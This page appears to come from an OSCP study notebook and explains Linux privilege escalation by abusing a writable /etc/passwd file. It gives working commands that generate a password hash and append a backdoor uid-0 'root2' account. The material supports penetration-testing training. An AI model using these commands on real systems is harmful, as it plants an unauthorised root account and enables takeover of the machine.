> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/privilege-escalation/linux/password-authentication-abuse.md).

# Password Authentication Abuse

Unless a centralised credential system is set up such as AD or LDAP, linux passwords are stored in `/etc/shadow`

For backwards compatibility, if a password hash is present in the second column of an `/etc/passwd` user record, it is considered valid for authentication and it takes precedence over the respective entry in `/etc/shadow`. So we can abuse a writable `etc/passwd` file.

<figure><img src="https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2FMKmib10fJmuAkHnCnAFl%2FLinux%20Privilege%20Escalation-3.png?alt=media&amp;token=f5590dd1-f673-4d7d-bdf6-4b43a0ee0157" alt=""><figcaption></figcaption></figure>

Generate a password hash using:

```
openssl passwd w00t
```

```
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd
```

```
su root2
Password:w00t
```

Now we are root.

Note the 0s for uid and gid.